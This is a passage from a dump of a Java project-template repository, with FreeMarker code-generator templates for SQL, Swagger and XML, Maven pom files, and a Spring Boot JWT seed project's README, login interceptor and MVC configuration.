    "content": "\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n #SQL横向select\n    SELECT <#list classInfo.fieldList as fieldItem >t.${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list>\n    FROM ${classInfo.tableName} t;\n\n #CSV横向字段名\n    <#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list>\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n#LEFT JOIN\n    SELECT\n        *\n    FROM\n    ${classInfo.tableName} a\n    LEFT JOIN ${classInfo.tableName} b\n    ON a.${classInfo.tableName}_id=b.${classInfo.tableName}_id\n    WHERE 1=1;\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n#INSERT INTO\n    INSERT INTO ${classInfo.tableName} ( <#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list> )\n    VALUES\n    (\n    <#list classInfo.fieldList as fieldItem >''<#if fieldItem_has_next>,</#if></#list>\n    );\n</#if>\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n#关联更新\n    UPDATE ${classInfo.tableName} a\n    JOIN ${classInfo.tableName}_join b ON a.${classInfo.tableName}_id = b.${classInfo.tableName}_id\n    SET <#list classInfo.fieldList as fieldItem > a.${fieldItem.columnName} = b.${fieldItem.columnName}<#if fieldItem_has_next>,</#if> </#list>\n    WHERE\n    b.${classInfo.tableName}_id IS NOT NULL;\n\n    UPDATE ${classInfo.tableName} a,${classInfo.tableName}_join b\n    SET <#list classInfo.fieldList as fieldItem > a.${fieldItem.columnName} = b.${fieldItem.columnName}<#if fieldItem_has_next>,</#if> </#list>\n    WHERE a.${classInfo.tableName}_id = b.${classInfo.tableName}_id;\n\n#普通update\n    UPDATE ${classInfo.tableName}\n    SET\n    <#list classInfo.fieldList as fieldItem >\n        ${fieldItem.columnName} = ''<#if fieldItem_has_next>,</#if>\n    </#list>\n    WHERE\n    <#list classInfo.fieldList as fieldItem >\n        ${fieldItem.columnName} = ''<#if fieldItem_has_next>,</#if>\n    </#list>;\n</#if>\n\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n#关联删除\n    delete a from ${classInfo.tableName}_del as a inner join ${classInfo.tableName} as b\n    where a.${classInfo.tableName}_id=b.${classInfo.tableName}_id;\n\n#普通删除\n    DELETE\n    FROM\n    ${classInfo.tableName}\n    WHERE\n    <#list classInfo.fieldList as fieldItem >\n        ${fieldItem.columnName} = ''<#if fieldItem_has_next>,</#if>\n    </#list>;\n\n</#if>\n\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/util/swagger-yml.ftl",
    "content": "\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n${classInfo.className}:\n  type: \"object\"\n  properties:\n<#list classInfo.fieldList as fieldItem >\n    ${fieldItem.fieldName}:\n      type: ${fieldItem.swaggerClass}\n      description:  <#if isComment?exists && isComment==true>\"${fieldItem.fieldComment}\"</#if>\n</#list>\n</#if>\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/util/xml.ftl",
    "content": "<!--\n ${classInfo.classComment}对象Get Set\n @author ${authorName} ${.now?string('yyyy-MM-dd')}\n-->\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<${classInfo.className}>\n<#list classInfo.fieldList as fieldItem>\n <${fieldItem.fieldName}>${fieldItem.fieldComment}</${fieldItem.fieldName}>\n</#list>\n</${classInfo.className}>\n</#if>\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/test/java/CodeGenerator.java",
    "content": "import com.google.common.collect.Lists;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Arrays;\nimport java.util.List;\n\n/**\n * 代码生成器，根据DatabaseMetaData及数据表名称生成对应的Model、Mapper、Service、Controller简化基础代码逻辑开发。\n * @author Wujun\n */\npublic class CodeGenerator {\n\tprivate static final Logger logger = LoggerFactory.getLogger(CodeGenerator.class);\n\t\n\tpublic static void main(String[] args) throws Exception {\n\t\tString tables = \"t_admin\";\n//\t\tString tables = \"res_basc,res_basc_arg,api_config\";\n//\t\tString tables = \"git_user\";\n//\t\tString tables = \"app_infoenvt,app_member,app_datasource,app_git_config,git_user,app_deploy_config\";\n\t\t//GenUtils.isDefaultTemplate = true;\n\t\t//GenUtils.genTables(GenUtils.getClassInfo(tables.split(\",\")),getTemplates());;\n//\t\tGenUtils.genCode(Arrays.asList(tables.split(\",\")),getTemplates());;\n\t}\n\n\tpublic static List<String> getTemplates() {\n\t\tList<String> templates = Lists.newArrayList();\n\t\t// ************************************************************************************\n\t\ttemplates.add(\"code-generator/mybatis-plus-single/controller.java.ftl\");\n\t\ttemplates.add(\"code-generator/mybatis-plus-single/entity.java.ftl\");\n\t\ttemplates.add(\"code-generator/mybatis-plus-single/mapper.java.ftl\");\n\t\ttemplates.add(\"code-generator/mybatis-plus-single/service.java.ftl\");\n\t\ttemplates.add(\"code-generator/mybatis-plus-single/dto.java.ftl\");\n\t\ttemplates.add(\"code-generator/mybatis-plus-single/vo.java.ftl\");\n\t\ttemplates.add(\"code-generator/mybatis-plus-single/service.impl.java.ftl\");\n//        templates.add(\"code-generator/mybatis-plus-v2/plus-controller.ftl\");\n//        templates.add(\"code-generator/mybatis-plus-v2/plus-entity.ftl\");\n//        templates.add(\"code-generator/mybatis-plus-v2/plus-mapper.ftl\");\n//        templates.add(\"code-generator/mybatis-plus-v2/plus-service.ftl\");\n//        templates.add(\"code-generator/mybatis-plus-v2/plus-dto.ftl\");\n//        templates.add(\"code-generator/mybatis-plus-v2/plus-vo.ftl\");\n//        templates.add(\"code-generator/mybatis-plus-v2/plus-serviceimpl.ftl\");\n\t\treturn templates;\n\t}\n\n}\n"
  },
  {
    "path": "java_project_template/maven_javaproject/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.jun</groupId>\n    <artifactId>maven_javaproject</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <!-- 共用的一些属性定义 -->\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <spring.version>4.3.13.RELEASE</spring.version>\n    </properties>\n\n    <dependencies>\n        <!-- Spring框架核心组件 -->\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-context</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <!-- 日志组件 -->\n        <dependency>\n            <groupId>log4j</groupId>\n            <artifactId>log4j</artifactId>\n            <version>1.2.17</version>\n        </dependency>\n        <!-- spring框架集成testng测试组件 -->\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-test</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <!-- 单元测试组件 -->\n        <dependency>\n            <groupId>org.testng</groupId>\n            <artifactId>testng</artifactId>\n            <version>6.8</version>\n            <scope>test</scope>\n        </dependency>\n        \n        <!-- junit4测试组件 -->\n\t    <dependency>\n\t      <groupId>junit</groupId>\n\t      <artifactId>junit</artifactId>\n\t      <version>4.13.1</version>\n\t      <scope>test</scope>\n\t    </dependency>\n    \n    </dependencies>\n\n    <build>\n\t    <plugins>\n\t        <plugin>\n\t            <groupId>org.apache.maven.plugins</groupId>\n\t            <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.7.0</version>\n\t            <configuration>\n\t                <source>1.8</source>\n\t                <target>1.8</target>\n\t            </configuration>\n\t        </plugin>\n\n\t        <!-- config other plugin -->\n\t        \n\t    </plugins>\n\t</build>\n\n</project>\n"
  },
  {
    "path": "java_project_template/maven_javaproject/src/main/java/com/jun/plugin/teamplate/App.java",
    "content": "package com.jun.plugin.teamplate;\n\n/**\n * Hello world!\n *\n */\npublic class App {\n    public static void main( String[] args ) {\n        System.out.println( \"你好 java\" );\n    }\n}\n"
  },
  {
    "path": "java_project_template/maven_javaproject/src/main/resources/applicationContext.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n     http://www.springframework.org/schema/beans/spring-beans.xsd\">\n    <!-- 定义我们的Bean -->\n    \n    \n</beans>"
  },
  {
    "path": "java_project_template/maven_javaproject/src/test/java/com/jun/plugin/teamplate/AppTest.java",
    "content": "package com.jun.plugin.teamplate;\n\nimport org.testng.Assert;\nimport org.testng.annotations.Test;\n\n@Test\npublic class AppTest {\n\n    public void testApp() {\n        Assert.assertEquals(1, 1);\n    }\n}\n"
  },
  {
    "path": "java_project_template/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>java_project_template</artifactId>\n\t<version>1.0</version>\n\t<packaging>pom</packaging>\n\t\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t</properties>\n\n\t<modules>\n\n\t\t<module>jun_api_service_admin</module>\n\t\t<module>jun_api_service_demo</module>\n\t\t<module>jun_api_service_main</module>\n\t\t<module>jun_api_service_simple</module>\n\t  \n\t\t<module>maven_javaproject</module>\n\n\t\t<module>springboot-api-v2</module>\n\t</modules>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>3.8.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>3.1.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t</dependencies>\n\n\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>jdk-1.8</id>\n\t\t\t<activation>\n\t\t\t\t<activeByDefault>true</activeByDefault>\n\t\t\t\t<jdk>1.8</jdk>\n\t\t\t</activation>\n\t\t\t<properties>\n\t\t\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t\t\t\t<maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>\n\t\t\t</properties>\n\t\t</profile>\n\t</profiles>\n\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.8.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n</project>"
  },
  {
    "path": "java_project_template/springboot-api-jwt/.gitignore",
    "content": "target/\n\n### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\nnbproject/private/\nbuild/\nnbbuild/\ndist/\nnbdist/\n.nb-gradle/"
  },
  {
    "path": "java_project_template/springboot-api-jwt/README.md",
    "content": "## 简介\nSpring Boot API 是一个基于Spring Boot & MyBatis plus的种子项目，用于快速构建中小型API项目，特点稳定、简单、快速，摆脱那些重复劳动\n\n## 特征&提供\n- 统一响应结果封装及生成工具\n- 统一异常处理\n- 采用简单的jwt认证\n- 使用Druid Spring Boot Starter 集成Druid数据库连接池与监控\n- 集成MyBatis-Plus，实现单表业务零SQL\n- 支持多数据源，自由切换，只需方法或类上用 @DS 切换数据源\n- 集成国人风格的knife4j，自动生成接口文档\n- 提供代码生成器，生成controller,service,serviceImpl,dao,mapper.xml\n\n## 快速开始\n1. 克隆项目\n2. 导入```test```包里的mysql脚本user.sql\n3. 对```test```包内的代码生成器```CodeGenerator```进行配置，主要是JDBC，因为要根据表名来生成代码\n4. 输入表名，运行```CodeGenerator.main()```方法，生成基础代码（可能需要刷新项目目录才会出来）\n5. 根据业务在基础代码上进行扩展\n6. 对开发环境配置文件```application-dev.yml```进行配置，启动项目，Have Fun！\n\n## 开发建议\n- post调用接口ip:8080/api/user/login,参数json: {\"username\":\"admin\",\"password\":\"123456\"},调用成功后, 返回token。以后调用api接口，header中传token\n- 正式环境已禁用接口文档的查看，配置文件添加knife4j:production: true 即可\n- Model内成员变量建议与表字段数量对应，如需扩展成员变量（比如连表查询）建议创建DTO，否则需在扩展的成员变量上加@TableField(exist = false)，详见[MyBatis-Plus](https://mp.baomidou.com/guide/)文档说明\n- 建议业务失败直接使用ServiceException(\"ErrorMessage\")抛出，由统一异常处理器来封装业务失败的响应结果，会直接被封装为{\"code\":400,\"message\":\"ErrorMessage\"}返回，尽情抛出；body方式传参，@Valid校验Model，更无需自己处理；\n\n## 接口文档效果图\n![image-20200313084433855](http://tuchuang.aitangbao.com.cn/image-20200313084433855.png)\n\n## 相关文档\n- Spring Boot（[springboot官方](https://spring.io/projects/spring-boot/)）\n- MyBatis-Plus ([查看官方中文文档](https://mp.baomidou.com/guide/))\n- MyBatis-Plus分页插件（[查看官方中文文档](https://mp.baomidou.com/guide/page.html)）\n- Druid Spring Boot Starter（[查看官方中文文档](https://github.com/alibaba/druid/tree/master/druid-spring-boot-starter/)）\n- Fastjson（[查看官方中文文档](https://github.com/Alibaba/fastjson/wiki/%E9%A6%96%E9%A1%B5)）\n- 阿里巴巴Java开发手册[最新版下载](https://github.com/alibaba/p3c)\n其他\n\n## License\n纯粹开源分享，感谢大家 [Star](https://github.com/aitangbao/springboot-api) 的支持。\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.company.project</groupId>\n    <artifactId>springboot-api-jwt</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <mybatis-plus.version>3.3.0</mybatis-plus.version>\n    </properties>\n\n    <!-- Inherit defaults from Spring Boot -->\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.2.RELEASE</version>\n    </parent>\n\n    <dependencies>\n        <!--Spring Boot依赖-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <!--MyBatis 及 插件依赖-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>dynamic-datasource-spring-boot-starter</artifactId>\n            <version>2.5.5</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-generator</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.10</version>\n            <scope>provided</scope>\n        </dependency>\n\n\n        <!--常用库依赖-->\n        <dependency>\n            <groupId>commons-codec</groupId>\n            <artifactId>commons-codec</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.6</version>\n        </dependency>\n        <!--MySQL JDBC驱动-->\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <scope>runtime</scope>\n        </dependency>\n\n        <!--阿里 FastJson依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.47</version>\n        </dependency>\n        <!--阿里 Druid Spring Boot Starter依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid-spring-boot-starter</artifactId>\n            <version>1.1.10</version>\n        </dependency>\n        <!--代码生成器依赖-->\n        <dependency>\n            <groupId>org.freemarker</groupId>\n            <artifactId>freemarker</artifactId>\n            <version>2.3.30</version>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.github.xiaoymin</groupId>\n            <artifactId>knife4j-spring-boot-starter</artifactId>\n            <version>2.0.2</version>\n        </dependency>\n\n        <dependency>\n            <groupId>io.jsonwebtoken</groupId>\n            <artifactId>jjwt</artifactId>\n            <version>0.9.0</version>\n        </dependency>\n\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>${java.version}</source>\n                    <target>${java.version}</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <repositories>\n        <repository>\n            <id>aliyun-repos</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </repository>\n    </repositories>\n\n    <pluginRepositories>\n        <pluginRepository>\n            <id>aliyun-plugin</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n\n</project>"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/Application.java",
    "content": "package com.company.project;\n\nimport com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.core.env.Environment;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\nimport java.net.InetAddress;\n\n@SpringBootApplication(exclude = DruidDataSourceAutoConfigure.class)\n@MapperScan(\"com.company.project.dao\")\npublic class Application {\n\n    private static Logger logger= LoggerFactory.getLogger(Application.class);\n\n    public static void main(String[] args) throws Exception {\n\n        ConfigurableApplicationContext application = SpringApplication.run(Application.class, args);\n\n        Environment env = application.getEnvironment();\n        logger.info(\"\\n----------------------------------------------------------\\n\\t\" +\n                        \"Application '{}' is running! Access URLs:\\n\\t\" +\n                        \"Local: \\t\\thttp://localhost:{}\\n\\t\" +\n                        \"External: \\thttp://{}:{}\\n\\t\" +\n                        \"Doc: \\thttp://{}:{}/doc.html\\n\" +\n                        \"----------------------------------------------------------\",\n                env.getProperty(\"spring.application.name\"),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"));\n    }\n}\n\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/configurer/LoginInterceptor.java",
    "content": "package com.company.project.configurer;\n\n\nimport com.alibaba.fastjson.JSON;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultCode;\nimport com.company.project.utils.JwtUtils;\nimport io.jsonwebtoken.Claims;\nimport org.apache.commons.lang3.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport java.io.IOException;\n\nimport static com.company.project.utils.JwtUtils.USER_ACCOUNT_KEY;\nimport static com.company.project.utils.JwtUtils.USER_ID_KEY;\n\n/**\n * <p>登陆拦截器\n */\npublic class LoginInterceptor extends HandlerInterceptorAdapter {\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n    @Override\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n        //拦截接口\n        //从header中获取token\n        String token = request.getHeader(\"token\");\n        //如果header中不存在token，则从参数中获取token\n        if(StringUtils.isBlank(token)){\n            token = request.getParameter(\"token\");\n        }\n        //token为空返回\n        if(StringUtils.isBlank(token)){\n            Result result = new Result();\n            result.setCode(ResultCode.UNAUTHORIZED).setMessage(\"token不能为空\").setSuccess(false);\n            responseResult(response, result);\n            return false;\n        }//  校验并解析token，如果token过期或者篡改，则会返回null\n        Claims claims = JwtUtils.checkJWT(token);\n        if(null == claims){\n            Result result = new Result();\n            result.setCode(ResultCode.UNAUTHORIZED).setMessage(\"登陆失效， 请重新登陆\").setSuccess(false);\n            responseResult(response, result);\n            return false;\n        }\n        //  校验通过后，设置用户信息到request里，在Controller中从Request域中获取用户信息\n        request.setAttribute(USER_ID_KEY, claims.get(\"id\"));\n        request.setAttribute(USER_ACCOUNT_KEY, claims.get(\"account\"));\n        return true;\n    }\n\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        response.setStatus(200);\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/configurer/MyBatisPlusConfig.java",
    "content": "package com.company.project.configurer;\n\nimport com.baomidou.mybatisplus.extension.plugins.PaginationInterceptor;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * @ClassName MyBatisPlusConfig\n * @Version 1.0\n **/\n@Configuration\npublic class MyBatisPlusConfig {\n    /**\n     * 配置mybatis-plus 分页查件\n     * @return\n     */\n    @Bean\n    public PaginationInterceptor paginationInterceptor() {\n        PaginationInterceptor paginationInterceptor = new PaginationInterceptor();\n        return paginationInterceptor;\n    }\n}"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/configurer/SwaggerConfiguration.java",
    "content": "package com.company.project.configurer;\n\nimport com.github.xiaoymin.knife4j.spring.annotations.EnableKnife4j;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Import;\nimport springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration;\nimport springfox.documentation.builders.ApiInfoBuilder;\nimport springfox.documentation.builders.PathSelectors;\nimport springfox.documentation.builders.RequestHandlerSelectors;\nimport springfox.documentation.service.ApiInfo;\nimport springfox.documentation.spi.DocumentationType;\nimport springfox.documentation.spring.web.plugins.Docket;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\n@Configuration\n@EnableSwagger2\n@EnableKnife4j\n@Import(BeanValidatorPluginsConfiguration.class)\npublic class SwaggerConfiguration {\n\n    @Bean\n    public Docket createRestApi() {\n        return new Docket(DocumentationType.SWAGGER_2)\n                .apiInfo(apiInfo())\n                .select()\n                .apis(RequestHandlerSelectors.basePackage(\"com.company.project.web\"))\n                .paths(PathSelectors.any())\n                .build();\n    }\n\n    private ApiInfo apiInfo() {\n        return new ApiInfoBuilder()\n                .title(\"Springboot-api APIs\")\n                .description(\"Springboot-api APIs\")\n                .termsOfServiceUrl(\"http://localhost:8080/\")\n                .contact(\"xxxxxxxxxx@163.com\")\n                .version(\"1.0\")\n                .build();\n    }\n}"
  },
  {
    "path": "java_project_template/springboot-api-jwt/src/main/java/com/company/project/configurer/WebMvcConfigurer.java",
    "content": "package com.company.project.configurer;\n\nimport java.io.IOException;\nimport java.nio.charset.Charset;\nimport java.util.Arrays;\nimport java.util.List;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.serializer.SerializerFeature;\nimport com.alibaba.fastjson.support.config.FastJsonConfig;\nimport com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;\n\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultCode;\nimport com.company.project.core.ResultGenerator;\nimport com.company.project.core.ServiceException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.web.bind.MethodArgumentNotValidException;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.HandlerExceptionResolver;\nimport org.springframework.web.servlet.ModelAndView;\nimport org.springframework.web.servlet.NoHandlerFoundException;\nimport org.springframework.web.servlet.config.annotation.*;\n\n/**\n * Spring MVC 配置\n */\n@Configuration\npublic class WebMvcConfigurer extends WebMvcConfigurerAdapter {\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n\n    @Bean\n    LoginInterceptor loginInterceptor() {\n\n        return new LoginInterceptor();\n    }\n\n    //使用阿里 FastJson 作为JSON MessageConverter\n    @Override\n    public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {\n        FastJsonHttpMessageConverter converter = new FastJsonHttpMessageConverter();\n        FastJsonConfig config = new FastJsonConfig();\n        config.setSerializerFeatures(SerializerFeature.WriteMapNullValue);//保留空的字段\n        //SerializerFeature.WriteNullStringAsEmpty,//String null -> \"\"\n        //SerializerFeature.WriteNullNumberAsZero//Number null -> 0\n        // 按需配置，更多参考FastJson文档哈\n\n        converter.setFastJsonConfig(config);\n        converter.setDefaultCharset(Charset.forName(\"UTF-8\"));\n        converter.setSupportedMediaTypes(Arrays.asList(MediaType.APPLICATION_JSON_UTF8));\n        converters.add(converter);\n    }\n\n\n    //统一异常处理\n    @Override\n    public void configureHandlerExceptionResolvers(List<HandlerExceptionResolver> exceptionResolvers) {\n        exceptionResolvers.add(new HandlerExceptionResolver() {\n            public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception e) {\n                Result result = new Result();\n                if (e instanceof ServiceException) {//业务失败的异常，如“账号或密码错误”\n                    result.setCode(ResultCode.FAIL).setMessage(e.getMessage()).setSuccess(false);\n                } else if (e instanceof MethodArgumentNotValidException) {//@valid注解验证参数\n                    MethodArgumentNotValidException m = (MethodArgumentNotValidException) e;\n                    m.getBindingResult().getFieldError().getDefaultMessage();\n                    result.setCode(ResultCode.PARAM_FAIL).setMessage(m.getBindingResult().getFieldError().getDefaultMessage()).setSuccess(false);\n                } else if (e instanceof NoHandlerFoundException) {\n                    result.setCode(ResultCode.NOT_FOUND).setMessage(\"接口 [\" + request.getRequestURI() + \"] 不存在\").setSuccess(false);\n                } else if (e instanceof ServletException) {\n                    result.setCode(ResultCode.FAIL).setMessage(e.getMessage()).setSuccess(false);\n                } else {\n                    result.setCode(ResultCode.INTERNAL_SERVER_ERROR).setMessage(\"接口 [\" + request.getRequestURI() + \"] 内部错误，请联系管理员\").setSuccess(false);\n                    String message;\n                    if (handler instanceof HandlerMethod) {\n                        HandlerMethod handlerMethod = (HandlerMethod) handler;\n                        message = String.format(\"接口 [%s] 出现异常，方法：%s.%s，异常摘要：%s\",\n                                request.getRequestURI(),\n                                handlerMethod.getBean().getClass().getName(),\n                                handlerMethod.getMethod().getName(),\n                                e.getMessage());\n                    } else {\n                        message = e.getMessage();\n                    }\n                    logger.error(message, e);\n                }\n                responseResult(response, result);\n                return new ModelAndView();\n            }\n\n        });\n    }\n\n    @ExceptionHandler(MethodArgumentNotValidException.class)\n    public Result handleMethodArgumentNotValidException(MethodArgumentNotValidException e) {\n        return ResultGenerator.genFailResult(e.getBindingResult().getFieldError().getDefaultMessage());\n    }\n\n    /**\n     * 页面跨域访问Controller过滤\n     *\n     * @return\n     */\n    @Override\n    public void addCorsMappings(CorsRegistry registry) {\n        WebMvcConfigurer.super.addCorsMappings(registry);\n        